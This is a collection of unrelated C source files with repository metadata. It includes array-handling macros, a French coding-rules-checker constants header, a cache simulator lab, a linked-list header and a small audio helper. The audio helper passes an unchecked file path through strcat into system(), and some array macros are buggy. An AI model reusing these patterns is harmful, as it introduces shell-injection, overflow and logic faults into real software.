(arrays).iArrayInOut, iArrayNum-1, iArrayNum); \ ((arrays).iArrayInOut)[iArrayNum-1] = io; \ \ RESIZE(swInt, (arrays).iArrayDims, iArrayNum-1, iArrayNum); \ ((arrays).iArrayDims)[iArrayNum-1] = dim; \ \ RESIZE(swFloat*, (arrays).intArrays, iArrayNum-1, iArrayNum);\ (arrays).intArrays[iArrayNum-1] = NEW( swInt; size); \ memcpy( (arrays).iArrays[iArrayNum-1], pointer, \ sizeof(swInt)*(size) ); \ } // add blank array #define addBlankIArray( arrays, dim, size, io) \ { \ if( (arrays).iArraySizes != (size) ); \ { \ dumpError("can not add array with different length!\n"); \ exit(-1); \ } \ \ (arrays).iArrayNum++; \ \ RESIZE(swInt, (arrays).iArrayInOut, iArrayNum-1, iArrayNum); \ ((arrays).iArrayInOut)[iArrayNum-1] = io; \ \ RESIZE(swInt, (arrays).iArrayDims, iArrayNum-1, iArrayNum); \ ((arrays).iArrayDims)[iArrayNum-1] = dim; \ \ RESIZE(swFloat*, (arrays).intArrays, iArrayNum-1, iArrayNum);\ (arrays).intArrays[iArrayNum-1] = NEW( swInt; size); \ } /****************** Macros to destroy arrays ******************/ // shalow free #define destroyArray( arrays ) \ { \ DELETE( (arrays).fArrayInOut ); \ DELETE( (arrays).fArrayDims ); \ DELETE( (arrays).floatArrays ); \ DELETE( (arrays).iArrayInOut ); \ DELETE( (arrays).iArrayDims ); \ DELETE( (arrays).intArrays ); \ } // deep memory free #define deleteSingleArray( arrays ) \ { \ size_t i = (array)->fArrayNum;\ while(i--){ DELETE((array)->floatArrays[i])}; \ DELETE(floatArrays); \ DELETE(fArrayDims); \ DELETE(fArrayInOut); \ \ i = (array)->iArrayNum; \ while(i--){ DELETE((array)->intArrays[i])}; \ DELETE(intArrays); \ DELETE(iArrayDims); \ DELETE(iArrayInOut); \ } // array data accessor #define accessArray( array, id ) \ ( (array)->floatArrays[id] ) #define getArraySize( array ) \ ( (array)->fArraySizes ) #define getArrayNumber( array ) \ ( (array)->fArrayNum ) #define getArrayDims( array, id) \ ( (array)->fArrayDims[id] ) #define getArrayInOut( array, id ) \ ( (array)->fArrayInOut[id] ) #define accessIArray( array, id ) \ ( (array)->intArrays[id] ) #define getIArraySize( array ) \ ( (array)->iArraySizes ) #define getIArrayNumber( array ) \ ( (array)->iArrayNum ) #define getIArrayDims( array ) \ ( (array)->iArrayDims ) #define getIArrayInOut( array ) \ ( (array)->iArrayInOut ) #ifdef __cplusplus } #endif #endif // ITERATOR_H
66884e4e7d8e01ea2782047575961022c0c6816a
c6a5dbc3e558b297689647aca6dcb375fe5ea2b8
/commonelements.h
feafc86fd02dad53e479383c86bb1536be4f9f9f
[]
no_license
FredBELDA/CodingRulesChecker
4236bdc210dfa29507811d77bf4d6c88edcc2e41
b5ed1bfbf13a4ccfa9668d29baf56e7897f59dca
refs/heads/master
2021-04-05T07:42:37.022242
2020-08-16T17:53:46
2020-08-16T17:53:46
248,534,107
0
0
null
2020-08-16T17:48:10
2020-03-19T15:10:59
C++
UTF-8
C
false
false
17,029
h
commonelements.h
#ifndef COMMONELEMENTS_H #define COMMONELEMENTS_H // Version #define VERSION "1.0" #define RELEASE_DATE "2020/04/11" // Font management #define FONT_DECLARATION "Arial" #define MENU_FONT_SIZE 12 #define ENONCE_FONT_SIZE 12 #define TAB_FONT_SIZE 10 #define LINEEDIT_FONT_SIZE 10 #define PUSHBUTTON_FONT_SIZE 10 #define CHECKBOX_FONT_SIZE 10 #define LABEL_COLOR "QLabel { color : #1e3687; }" #define LABEL_EXAMPLE "QLabel { font-style: italic; color : #FF0000; }" #define LABEL_SEPARATOR "QLabel { background: qlineargradient( x1:0 y1:0, x2:1 y2:0," \ "stop:0 #BBBBBB, \ stop:0.3 #999999, \ stop:0.5 #333333, \ stop:0.7 #999999, \ stop:1 #BBBBBB); \ }" // Window size #define X_SHIFT 5 #define Y_SHIFT 5 #define HEIGHT_MARGING 20 #define WIDTH_MARGING 20 #define MAINWINDOW_HEIGHT 340 #define MAINWINDOW_WIDTH 675 #define MAIN_VERTICAL_LAYOUT_HEIGHT MAINWINDOW_HEIGHT - HEIGHT_MARGING #define MAIN_VERTICAL_LAYOUT_WIDTH MAINWINDOW_WIDTH - WIDTH_MARGING // Menu Fichier #define FILE_MENU "Fichier" #define OPEN_CONFIGURATION_FILE "Ouvrir la configuration" #define SAVE_CONFIGURATION_FILE "Sauvegarder la configuration" #define EXIT "Quitter" // Menu Configuration #define CONFIGURATION_MENU "Paramètres" #define CODING_RULES_PARAMETERS "Paramétrage des règles de codage" #define EXTERNAL_TOOL_PARAMETERS "Paramétrage des outils externes" // Menu CheckList #define CHECKLIST_MENU "CheckList" #define OPEN_CHECKLIST_FILE "Ouvrir le fichier checklist" // Menu Aide #define HELP_MENU "Aide" #define ABOUT "A propos" // Configuration File #define CONFIG_HMI "ConfigHMI" #define INPUT_FOLDER_CONFIGURATION "inputFolder" #define REPORT_FOLDER_CONFIGURATION "reportFolder" #define CONFIG_EXTERNAL_TOOL "ConfigExternalTool" #define INPUT_EXCEL_PATH_CONFIGURATION "inputExcelPath" #define INPUT_CPP_CHECK_PATH_CONFIGURATION "inputCppCheckPath" #define INPUT_CHECK_STYLE_PATH_CONFIGURATION "inputCheckStylePath" #define CONFIG_RULES "ConfigRules" #define VERIFY_ACCOLADE_CONFIGURATION "verifAccolade" #define VERIFY_MAGIC_NUMBER_CONFIGURATION "verifMagicNumber" #define VERIFY_CAMEL_CASE_CONFIGURATION "verifCamelCase" #define VERIFY_CONDITION_CONFIGURATION "verifCondition" #define VERIFY_ORPHAN_FUNCTION_CONFIGURATION "verifOrphanFunction" #define VERIFY_POINTER_CONFIGURATION "verifPointer" #define VERIFY_TODO_CONFIGURATION "verifToDo" #define VERIFY_H_FILE_FOR_C "verifHFileForC" #define VERIFY_H_FILE_FOR_CPP "verifHFileForCpp" // Fenêtre principale #define WINDOW_TITLE "Coding rules checker" // Main panel #define INPUT_LABEL_TEXT "Veuillez renseigner le répertoire à analyser :" #define INPUT_FOLDER_TO_CHECK "Sélectionner le répertoire à analyser" #define OUTPUT_LABEL_TEXT "Veuillez renseigner le répertoire de destination des logs :" #define OUTPUT_FOLDER_TO_CHECK "Sélectionner le répertoire ou stocker les logs" #define CHECKBOX_MERGE_REPORTS "Voulez-vous fusionner tous les rapports ?" #define BROWSE_FOLDER "Parcourir" #define LAUNCH_CHECK "Lancer les vérifications" #define LOGS_FOLDER "logs" #define GLOBAL_REPORT_NAME "report.csv" #define CPP_FILE_EXTENSION "cpp" #define C_FILE_EXTENSION "c" #define H_FILE_EXTENSION "h" #define JAVA_FILE_EXTENSION "java" #define INI_FILE_EXTENSION "ini" #define GENERATED_REPORT "Rapport genere le : " #define NUMBER_OF_FILES_FOUND "Nombre de fichiers trouves dans " #define NUMBER_OF_C_FILES "Nombre de fichiers C : " #define NUMBER_OF_CPP_FILES "Nombre de fichiers Cpp : " #define NUMBER_OF_H_FILES "Nombre de fichiers h : " #define NUMBER_OF_JAVA_FILES "Nombre de fichiers Java : " #define NUMBER_OF_INI_FILES "Nombre de fichiers ini : " #define NUMBER_OF_NOT_MANAGED_FILES "Nombre de fichier non geres : " #define CANNOT_CREATE_FOLDER "Impossible de créer le répertoire !" // Buttons #define VALIDATE "Valider" #define CANCEL "Annuler" #define SAVE "Enregistrer" #define QUIT "Quitter" // Reports #define REPORT_HEADER_FILE "Fichier;Numéro de ligne;Contenu de la ligne;Criticité;Problème rencontré" #define CODEC_FOR_EXCEL_FILE "ISO 8859-1" #define NB_MIN_ELTS 2 #define NB_DEFINE_CONSTANT_ELTS 3 #define NB_MAX_DECLARATION_SIZE 8 #define FILE_SEPARATOR " / " #define MAJOR "Majeur" #define MINOR "Mineur" #define CRITIC "Critique" #define ACCOLADE_FILE_NAME "Accolade.csv" #define TODO_FILE_NAME "ToDo.csv" #define H_FILE_NAME "HFile.csv" #define MAGIC_NUMBER_FILE_NAME "MagicNumber.csv" #define CAMEL_CASE_FILE_NAME "CamelCase.csv" #define POINTER_FILE_NAME "Pointer.csv" #define ORPHAN_FUNCTIONS_FILE_NAME "OrphanFunctions.csv" #define CONDITIONS_FILE_NAME "Conditions.csv" // Errors #define INPUT_FOLDER_DOES_NOT_EXISTS "Le répertoire d'entrée du projet n'existe pas !" #define OUTPUT_FOLDER_DOES_NOT_EXISTS "Le répertoire de logs n'existe pas, il sera créé automatiquement !" // TODO complete rules contains #define RULE_POPUP_HEIGHT 600 #define RULE_POPUP_WIDTH 700 #define RULE_POPUP_VERTICAL_LAYOUT_HEIGHT RULE_POPUP_HEIGHT - HEIGHT_MARGING #define RULE_POPUP_VERTICAL_LAYOUT_WIDTH RULE_POPUP_WIDTH - WIDTH_MARGING #define ACCOLADE_RULE_POPUP_TITLE "Règle de codage concernant les accolades" #define ACCOLADE_RULE_POPUP "" #define ACCOLADE_RULE_EXAMPLE "" #define ACCOLADE_RULE_EXPLANATION "" #define TODO_RULE_POPUP_TITLE "Règle de codage concernant les ToDo" #define TODO_RULE_POPUP "On peut mettre des ToDo dans le code,\n \ lorsque l'on développe une fonctionnalité.\n \ C'est un pense bête, pour revenir dessus plus tard,\n \ soit à cause d'une fonction à appeler, qui n'existe pas,\n \ soit à cause d'un point à éclaircir auprès d'un architecte.\n\n \ Avant de livrer, il faut impérativement faire une passe\n \ sur le projet, pour vérifier qu'il n'en existe plus." #define TODO_RULE_EXAMPLE "" #define TODO_RULE_EXPLANATION "" #define H_RULE_POPUP_TITLE "Règle de codage concernant les fichiers H" #define H_RULE_POPUP "Chaque fichier .c ou .cpp, doit avoir son fichier .h\n \ associé. Ce fichier .h permet de définir les prototypes de fonction\n \ de votre classe ou bibliothèque.\n\n \ Vous pouvez avoir plus de fichiers .h que de fichiers .c ou .cpp\n \ Ces fichiers .h peuvent vous permettre de centraliser\n \ toutes les constantes de votre projet,\n \ tous vos textes de l'IHM,\n \ ..." #define H_RULE_EXAMPLE "" #define H_RULE_EXPLANATION "" #define MAGIC_NUMBER_RULE_POPUP_TITLE "Règle de codage concernant les Magic Number" #define MAGIC_NUMBER_RULE_POPUP "Les magic number sont à proscrire d'un code.\n\n \ Il vaut mieux créer une constante ou un define dans un fichier .h, et ensuite l'appeler\n \ La constante ou le define, a le mérite de porter un nommage\n \ compréhensible de tout le monde.\n\n" #define MAGIC_NUMBER_RULE_EXAMPLE "if(i == 2)\n \ {\n \ printf(\"%d\", i);\n \ }" #define MAGIC_NUMBER_RULE_EXPLANATION "Que veut dire 2 ? Pourquoi ? \n \ Est-ce un exigence du client ?\nUne constante arbitraire ?\nValeur prise sur un coup de tête ?\n\n \ Définir un define avec #define NB_ELT_TO_PARSE 2 est plus parlant.\n \ Le relecteur comprendra de quoi vous parlez !\n\n \ De plus en centralisant vos constantes dans un seul fichier, vous fera\n \ gagner du temps lors des modifications de valeurs." #define CAMEL_CASE_RULE_POPUP_TITLE "Règle de codage concernant la déclaration de variables en CamelCase" #define CAMEL_CASE_RULE_POPUP "Il existe une règle à respecter, pour le nommage de\n \ vos variables. Cette règle est le camelCase.\n \ La règle est simple :" #define CAMEL_CASE_RULE_EXAMPLE " - Première lettre en minuscule.\n \ - Première lettre de chaque mot suivant en majuscule.\n \ - Pas d'abréviation. \n \ StepResult => Pas camelCase\n \ stepResult => camelCase" #define CAMEL_CASE_RULE_EXPLANATION "Si on veut déclarer une variable dite globale à un fichier\n \ on doit le préfixer d'un \"g_\".\n \ Pour les paramètres de fonction, on utilise les préfixes pour signaler\n \ si la variable est considérée comme un entrée ou une sortie.\n \ int toto(int i_aa, int i_bb, char *o_cc)\n \ \"i_\" = paramètre d'entrée de la fonction.\n \ \"o_\" = paramètre de sortie de la fonction.\n \ \"io_\" = paramètre d'entrée et de sortie de la fonction.\n \ une variable nommée \"o_\" ou \"io_\" sera forcément un pointeur.\n \ la variable \"o_\" sera mise à jour par la fonction.\n \ Si on déclare une variable dans une classe, elle est dite membre\n \ à la classe, on doit la préfixer d'un \"m_\".\n \ Si on déclare une variable dans une fonction, elle est dite locale\n \ à la fonction, on doit la préfixer d'un \"l_\"." #define POINTER_RULE_POPUP_TITLE "Règle de codage concernant les pointeurs" #define POINTER_RULE_POPUP "Un pointeur est avant tout une zone mémoire de votre système.\n \ Vous devez allouer de la mémoire, pour stocker votre pointeur.\n \ Le problème des systèmes multiservices, c'est qu'on ne maitrise pas\n \ les autres systèmes, et ce qu'ils font sur la mémoire.\n \ Il pourrait très bien effacer une partie de la mémoir\n \ que vous venez d'allouer. Votre pointeur se retrouverait verrolé.\n \ Ou plus vicieux, toute la zone allouée a été écrasée, ou pas instancié\n \ (oubli de faire un new). Du coup au moment d'utiliser votre pointeur,\n \ vous allez faire crasher le système, car votre objet n'existera pas, ou sera\n \ verrolé." #define POINTER_RULE_EXAMPLE "Toto* m_test = new Toto();\n \ Au moment ou j'utilise la variable m_test, je la vérifie.\n \ if(nullptr != m_test)\n \ {\n \ ...\n \ }" #define POINTER_RULE_EXPLANATION "Je ne sais pas si mon pointeur a été écrasé par quelqu'un entre\n \ mon instanciation (avec le new), et le moment, ou je vais l'utiliser.\n \ Par conséquent, à chaque fois, que je vais devoir interagir avec lui,\n \ je le teste avant." #define ORPHAN_FUNCTIONS_RULE_POPUP_TITLE "Règle de codage concernant les fonctions orphelines" #define ORPHAN_FUNCTIONS_RULE_POPUP "" #define ORPHAN_FUNCTIONS_RULE_EXAMPLE "" #define ORPHAN_FUNCTIONS_RULE_EXPLANATION "" #define CONDITIONS_RULE_POPUP_TITLE "Règle de codage concernant les conditions" #define CONDITIONS_RULE_POPUP "Les conditions sont importantes dans votre code. \n \ Attention tout de même à l'ordre dans lequel vous les tester.\n \ En effet une faute de frappe sur un test d'égalité et votre \n \ variable se retrouve ré-affecté. \n \ Pour eviter cela il faut donc inverser votre test d'égalité, \n \ ce qui ne changera rien au comportement \ inital." #define CONDITIONS_RULE_EXAMPLE "if(l_variable = 0) \n \ ici on prend le risque d'une erreur de frappe et donc d'affecter 0 \n à notre variable. \n \ la bonne pratique est donc d'inverser 0 et l_variable. \n \ if(0 == l_variable)" #define CONDITIONS_RULE_EXPLANATION "En faisant cela, si une erreur de frappe est présente, le compilateur \n \ nous le signalera automatiquement et \n \ provoquera une erreur plus facilement detectable." #define DEFAULT_RULE_POPUP_TITLE "Règle par défaut : non gérée !" #define DEFAULT_RULE_POPUP "" #define DEFAULT_RULE_EXAMPLE "" #define DEFAULT_RULE_EXPLANATION "" #define SEARCH_FOR_TODO "todo" #define SEARCH_FOR_TODO_SECOND "to do" #define SEARCH_FOR_EQUALS "=" #define SEARCH_FOR_SPACE " " #define SEARCH_FOR_COMMA "," #define SEARCH_FOR_SEMICOLON ";" #define SEARCH_FOR_UNDERSCORE "_" #define SEARCH_FOR_OPENED_PARENTHESIS "(" #define SEARCH_FOR_CLOSED_PARENTHESIS ")" #define SEARCH_FOR_QUOTATION_MARKS "\"" #define SEARCH_FOR_OPENED_ACCOLADE "{" #define SEARCH_FOR_CLOSED_ACCOLADE "}" #define SEARCH_FOR_INFERIOR "<" #define SEARCH_FOR_SUPERIOR ">" #define SEARCH_FOR_NEW "new" #define SEARCH_FOR_OR "||" #define SEARCH_FOR_AND "&&" #define SEARCH_FOR_EQUALS_TEST "==" #define FOR_INSTRUCTION "for" #define WHILE_INSTRUCTION "while" #define IF_INSTRUCTION "if" #define ELSE_INSTRUCTION "else" #define ELIF_INSTRUCTION "elif" #define FOREACH_INSTRUCTION "foreach" #define CONST_DECLARATION "const" #define INT_DECLARATION "int" #define UINT_DECLARATION "uint" #define UNSIGNED_DECLARATION "unsigned" #define DOUBLE_DECLARATION "double" #define SHORT_DECLARATION "short" #define FLOAT_DECLARATION "float" #define BOOL_DECLARATION "bool" #define CHAR_DECLARATION "char" #define LONG_DECLARATION "long" #define IFSTREAM_DECLARATION "ifstream" #define OFSTREAM_DECLARATION "ofstream" #define POINTER_DECLARATION "*" #define NULLPOINTER_DECLARATION "nullptr" #define NULL_DECLARATION "null" #define ZERO_POINTER 0 #define REGEX_FOR_POINTERS "0|null|nullptr" #define REGEX_FOR_FUNDAMENTAL_TYPE "^(bool|char|short|int|uint|long|unsigned|double|float)" #define REGEX_FOR_EQUALS "==|=" #define REGEX_FOR_INSTRUCTIONS "^(if|while|for|else if)" #define REGEX_FOR_CONDITIONS "<|>|!|>=|<=" #define SEARCH_FOR_DESTRUCTOR "~" #define FALSE_VALUE "false" #define TRUE_VALUE "true" #define CANNOT_OPENED_FILE "Impossible d'ouvrir le fichier : " #define FOR_READING "en lecture !" #define FOR_WRITING "en écriture !" #define DOES_NOT_CONTAINS_H_FILE "ne dispose pas de son fichier h !" #define DOES_NOT_RESPECT_CAMEL_CASE_SYNTAX "Ne repect pas la synthaxe camelCase !" #define DOES_NOT_RESPECT_PERIMETER_SYNTAX "Ne repect pas la synthaxe de périmètre de la variable !" #define ACCOLADE_IS_NOT_ALONE "L'accolade ne se trouve pas tout seul sur une ligne : Veuillez faire un retour charriot !" #define TODO_MUST_SUPPRESS "Les TODO doivent être enlever du code !" #define IS_MAGIC_NUMBER "Est un magic number, il faut le remplacer par un define ou un enum !" #define NO_PROBLEM_FOUND "Aucun problème rencontré !" #define POINTER_IS_NOT_TESTED "Le pointeur n'est pas entouré d'un block if !" #define WRONG_CONDITION_ORDER "Attention la condition n'est pas dans l'ordre CONST == var." #define POSSIBLE_CONDITION_ERROR "Attention vous assigner peut-être une variable dans une instruction." // About popup #define ABOUT_POPUP_HEIGHT 190 #define ABOUT_POPUP_WIDTH 450 #define ABOUT_POPUP_VERTICAL_LAYOUT_HEIGHT ABOUT_POPUP_HEIGHT - HEIGHT_MARGING #define ABOUT_POPUP_VERTICAL_LAYOUT_WIDTH ABOUT_POPUP_WIDTH - WIDTH_MARGING #define ABOUT_POPUP_TITLE "Au sujet de" #define ABOUT_POPUP_CONTAINT "CodingRulesChecker " + QString(VERSION) + " du " + \ QString(RELEASE_DATE) + "\na été déveoppé dans le but d'assurer une conformité des\n \ livraisons pour le compte de Thales TSIS, dans leurs \n \ projets internes.\n\n \ Ce projet a été réalisé avec le framework Qt" + QT_VERSION_STR // Coding rule parameter popup #define RULE_CHOICE_POPUP_HEIGHT 400 #define RULE_CHOICE_POPUP_WIDTH 847 #define RULE_CHOICE_POPUP_VERTICAL_LAYOUT_HEIGHT RULE_CHOICE_POPUP_HEIGHT - HEIGHT_MARGING #define RULE_CHOICE_POPUP_VERTICAL_LAYOUT_WIDTH RULE_CHOICE_POPUP_WIDTH - WIDTH_MARGING #define RULE_CHOICE_POPUP_TITLE "Configuration des règles à analyser" // Tool parameter popup #define EXTERNAL_TOOL_POPUP_HEIGHT 300 #define EXTERNAL_TOOL_POPUP_WIDTH 400 #define EXTERNAL_TOOL_POPUP_VERTICAL_LAYOUT_HEIGHT EXTERNAL_TOOL_POPUP_HEIGHT - HEIGHT_MARGING #define EXTERNAL_TOOL_POPUP_VERTICAL_LAYOUT_WIDTH EXTERNAL_TOOL_POPUP_WIDTH - WIDTH_MARGING #define EXTERNAL_TOOL_POPUP_TITLE "Paramétrage des outils externes" #define EXCEL_PATH_LABEL "Veuillez renseigner le chemin vers Excel :" #define CPP_CHECK_PATH_LABEL "Veuillez renseigner le chemin vers CPPCheck :" #define CHECK_STYLE_PATH_LABEL "Veuillez renseigner le chemin vers CheckStyle :" #define INPUT_EXCEL_PATH "Sélectionner le répertoire ou se trouve Excel" #define INPUT_CPP_CHECK_PATH "Sélectionner le répertoire ou se trouve CPPCheck" #define INPUT_CHECK_STYLE_PATH "Sélectionner le répertoire ou se trouve CheckSTYLE" #define EXCEL_PATH_NOT_EXISTS "Le répertoire vers Excel n'existe pas !" #define CPP_CHECK_PATH_NOT_EXISTS "Le répertoire vers CppCheck n'existe pas !" #define CHECK_STYLE_PATH_NOT_EXISTS "Le répertoire vers CheckStyle n'existe pas !" // Path to doc #define CHECKLIST_PATH "/input/CheckList.xlsx" // Default path #define EXCEL_DEFAULT_PATH "\"C:/Program Files/Microsoft Office/OFFICE11/EXCEL.exe\"" #define EXCEL_FILTER "Excel application (excel.exe)" #define LIBREOFFICE_CALC_DEFAULT_PATH "\"C:/Program Files/LibreOffice/program/scalc.exe\"" #define CPP_CHECK_DEFAULT_PATH "\"C:/Program Files/Cppcheck/cppcheckgui.exe\"" #define CPP_CHECK_FILTER "CppCheck application (cppCheck.exe)" //TODO Change path #define CHECK_STYLE_DEFAULT_PATH "\"C:/Program Files/Cppcheck/cppcheckgui.exe\"" #define CHECK_STYLE_FILTER "CheckStyle application (checkStyle.exe)" #define EXPLORER_CMD "explorer.exe" #endif // COMMONELEMENTS_H
4685ea38733dec78e03091d60054cc7440e00a84
3712fff5b1196ccd810813beabd78dc2a438c9e5
/lab8/csim.c
fbcba79329a83a652a400aa7ce0e5464facdd574
[ "MIT" ]
permissive
Yuan-Zhuo/ics_labs
4377ba6866ae0824c890afeaf5ea499161ffb519
0ca99a23ee8403bdf947f009123b67ad0e9088ed
refs/heads/master
2020-04-28T09:35:06.802996
2019-05-27T13:20:36
2019-05-27T13:20:36
175,172,052
3
0
null
null
null
null
UTF-8
C
false
false
6,431
c
csim.c
/* * loginID: 517030910169 * name: yuanzhuo */ #include <getopt.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "cachelab.h" /** * basic logic: * 1.valid bit: present by an unsigned int where 0 means invalid, and 1~inf * indicates the last time when this block accessed. * 2.tag bits: present by a long. * 3.just malloc for the above bits, so for one block, malloc 12byte. */ /** * magic number: * maxLine: the max size of a line reading from .trace * addrOff: the offset of the address in a line * addrBits: the address bits * lineSize: malloc size */ #define maxLine 32 #define addrOff 3 #define addrBits 64 #define lineSize 12 /* * tool function: * validSpace: weither this block is valid * boolSymbol: weither the data in this line need 'M'(modify) * getSize: find out how much sets, lines should be malloced by bits * splitAddr: split the address into tag, valid */ #define validSpace (sizeof(bool)) #define boolSymbol(ch) (ch == 'M') #define getSize(bits) (1 << (bits)) #define splitAddr(addr, lowestbit, bits) \ ((addr) >> (lowestbit)) & ~((~0) << (bits)) /* * static variable: * setBits: s * lines: E * blkBits: b * tagBits: t * hits: the sum of hit times * misses: the sum of miss times * evicts: the sum of eviction times * showDetail: if -v in args */ static int setBits; static int lines; static int blkBits; static int tagBits; static int hits = 0; static int misses = 0; static int evicts = 0; static bool showDetail = false; /* * initCond- read the args from command line and * initialize the info of the cache */ char* initCond(int argc, char* argv[]) { int opt; const char optStr[] = "vs:E:b:t:"; char* filename; while ((opt = getopt(argc, argv, optStr)) != -1) { switch (opt) { case 'v': showDetail = true; break; case 's': setBits = atoi(optarg); break; case 'E': lines = atoi(optarg); break; case 'b': blkBits = atoi(optarg); break; case 't': filename = optarg; break; } } tagBits = addrBits - setBits - blkBits; return filename; } /* * simTrace- handle a single data */ void simTrace(void* CACHE_ptr, bool flag, long addr) { // count the times of simTrace called // assign to the valid space then // while the min nonzero valid represent least-recently used static unsigned cnt = 0; cnt++; // get the info of the data from addr int set = splitAddr(addr, blkBits, setBits); long tag = splitAddr(addr, blkBits + setBits, tagBits); void* Set_ptr = CACHE_ptr + lineSize * lines * set; unsigned min_valid = -1; int min_index = 0; int illegal_index = -1; void* cur_addr = Set_ptr - lineSize; // traverse the all lines in a specific set for (int i = 0; i < lines; ++i) { cur_addr += lineSize; unsigned cur_valid = *(unsigned int*)cur_addr; // invalid line if (cur_valid == 0) { if (illegal_index == -1) illegal_index = i; continue; } long cur_tag = *(long*)(cur_addr + 4); // hit if (cur_tag == tag) { hits++; // update to lastest used *(unsigned int*)(cur_addr) = cnt; // hit two times if the symbol is 'M' if (flag) hits++; return; } // record the index of the min valid if (min_valid > cur_valid) { min_valid = cur_valid; min_index = i; } } // not found, therefore miss misses++; int fill_index = illegal_index; // no invalid block, so evict LRU if (illegal_index == -1) { evicts++; fill_index = min_index; } // hit one times if the symbol is 'M' if (flag) { hits++; cnt++; } // replace *(unsigned int*)(Set_ptr + fill_index * lineSize) = cnt; *(long*)(Set_ptr + fill_index * lineSize + 4) = tag; return; } /* * display- display the status of when a single data accessed */ void display(char* strLine, bool isHit, bool isEvict) { if (!showDetail) return; // copy and remove the '\n' in strLine char info[100]; char* ch = info; while ((*ch++ = *strLine++)) ; ch -= 2; *ch++ = '\t'; *ch = 0; if (isHit) strcat(info, "Hit\t"); else strcat(info, "Miss\t"); if (isEvict) strcat(info, "Eviction\t"); printf("%s\n", info); } /* * simulator- read the file and handle every line */ bool simulator(char* filename, void* CACHE_ptr) { FILE* fp = NULL; // read exception if ((fp = fopen(filename, "r")) == NULL) { printf("cannot open file: %s", filename); return false; } char* strLine = (char*)malloc(maxLine); char* strAddr = (char*)malloc(maxLine); while (true) { fgets(strLine, maxLine, fp); if (feof(fp)) break; // if it's an 'I' if (strLine[0] != ' ') continue; int len = strlen(strLine); strncpy(strAddr, strLine + addrOff, len); int oldHit = hits, oldEvict = evicts; // handle this line simTrace(CACHE_ptr, boolSymbol(strLine[1]), strtol(strAddr, NULL, 16)); // call to display the status display(strLine, hits == oldHit, evicts == oldEvict); } free(strLine); free(strAddr); return true; } int main(int argc, char* argv[]) { char* filename = initCond(argc, argv); int setNum = getSize(setBits); // malloc the space to represent cache void* CACHE_ptr = (void*)malloc(lineSize * setNum * lines); void* cur_ptr = CACHE_ptr; // init every block to invalid for (int i = 0; i < setNum; ++i) { for (int j = 0; j < lines; ++j) { *(unsigned int*)cur_ptr = 0; cur_ptr += lineSize; } } // handle the trace file if (!simulator(filename, CACHE_ptr)) return 1; free(CACHE_ptr); printSummary(hits, misses, evicts); return 0; }
a2c24c15ad8b8b85bae35a8bc3155ea80926a1d5
fdd8e339a83b058a2dc8b66028a6f2d61eb6a51e
/doubly_linked_list.h
6d3cccdf046868528001a20ed9900b8865c44f40
[]
no_license
geekofia/c-libs
c9f2e700f9634299b7bed9f7bc2d7d8f0180c3b1
0a9d4330eff84d79ba8e771a8b428ffa9c87321a
refs/heads/master
2020-06-08T21:43:11.581474
2019-09-26T01:18:12
2019-09-26T01:18:12
193,311,645
0
0
null
null
null
null
UTF-8
C
false
false
548
h
doubly_linked_list.h
/* * @Author: chankruze (Chandan Kumar Mandal) * @Date: 2019-06-23 11:59:07 * @Last Modified by: chankruze (Chandan Kumar Mandal) * @Last Modified time: 2019-06-23 12:01:42 */ #include <stdio.h> #include <stdlib.h> /** * Node for doubly linked list implementation * ********************************************** * data (int) - value to store at particular node * next (Node *) - pointer to next node * prev (Node *) - pointer to previous node */ typedef struct Node { int data; struct Node *next; struct Node *prev; } Node;
1d158c5b74fe41d2ae04c5626dfefe08baeaebe1
34684bd13f6fd95abc0800b0832a3ced150288fc
/src/audio.c
4eff9228254e29bb8e282381619a2cacf5a14818
[]
no_license
sevko/termcrate
c60a4e787a0d79d1a491c59e0560d0e190db5eb8
3bbb28be7479b5db65b10a20370ae7f51cefba36
refs/heads/master
2021-01-01T19:01:33.651334
2013-11-14T03:39:06
2013-11-14T03:39:06
13,974,486
1
0
null
null
null
null
UTF-8
C
false
false
380
c
audio.c
/* * Contains functions for audio manipulation. */ #include <stdio.h> #include <string.h> #include <stdlib.h> void audio(char * filePath){ char sysCommand[50] = "aplay --quiet "; strcat(sysCommand, filePath); strcat(sysCommand, " &"); //start in another thread if(system(sysCommand) == -1) exit(1); } void stopAudio(){ if(system("killall -9 aplay") == -1) exit(1); }
13f857387fb98a4a00b4ad43cb67e189dc5751cc
71a5771d74f04ea5f1884891c13a9a4051fcf68b
/1.C语言/C语言第五天3_9/5/for_9x9.c
c0ae35c595c7bccba8afcad7aa3092bba77e5932
[]
no_license
liuqi605752176/HuaQing-Note
ff57c10e390964d8a6ac55864a78f731e922b50c
aa41b2a2db153e8f98f771d6f4f06c0d26f39eee
refs/heads/master
2020-03-21T17:28:07.733317
2018-07-11T12:07:48
2018-07-11T12:07:48
138,833,685
1
1
null
null
null
null
UTF-8
C
false
false
197
c
for_9x9.c
#include <stdio.h> int main(int argc, const char *argv[]) { int i,j; for(i = 1;i <= 9;i++) { for(j = 1;j <= i;j++) { printf("%2dx%d=%-2d",i,j,i*j); } printf("\n"); } return 0; }
73d936a123bcbf949a4024d7bcd998be36503050
3a754f5c7162a08996c46c22deb4dcb1338aee27
/Global.h
83106b0b6c659c4382cba73056408f9c3c3aae57
[]
no_license
chaoban/TPViewer
4c085de3591eda9972e4d014198540837293da86
c237272f94df80f1bbf0369593695f707122ed5b
refs/heads/main
2023-06-19T14:34:27.523772
2021-07-19T08:35:16
2021-07-19T08:35:16
387,394,805
0
0
null
null
null
null
UTF-8
C
false
false
202
h
Global.h
#ifndef GLOBAL_H_FILE #define GLOBAL_H_FILE // Track frame list #define _OUTPUTF_TRACK // Track points detail #define _DEBUG_PRINT //#define _DEBUG_DRAW #define _QUEUE_FRAME #endif //GLOBAL_H_FILE
a823030fd1859c5b615d408a9436aa522780296a
3717377182d6d8127979100df2bb8efdde52bcee
/07.aff_z/aff_z.c
67f9a0a5a50a2445d02fae77a3227623dab04a0b
[]
no_license
sheldon-bai/practice
6e5dbc424817e0b2b296c24c33a2243469b6c8e9
4a372632d8dbe14499744e68bf416628bfce8a59
refs/heads/master
2021-01-23T07:15:28.863271
2017-06-06T17:30:18
2017-06-06T17:30:18
80,493,759
0
0
null
null
null
null
UTF-8
C
false
false
985
c
aff_z.c
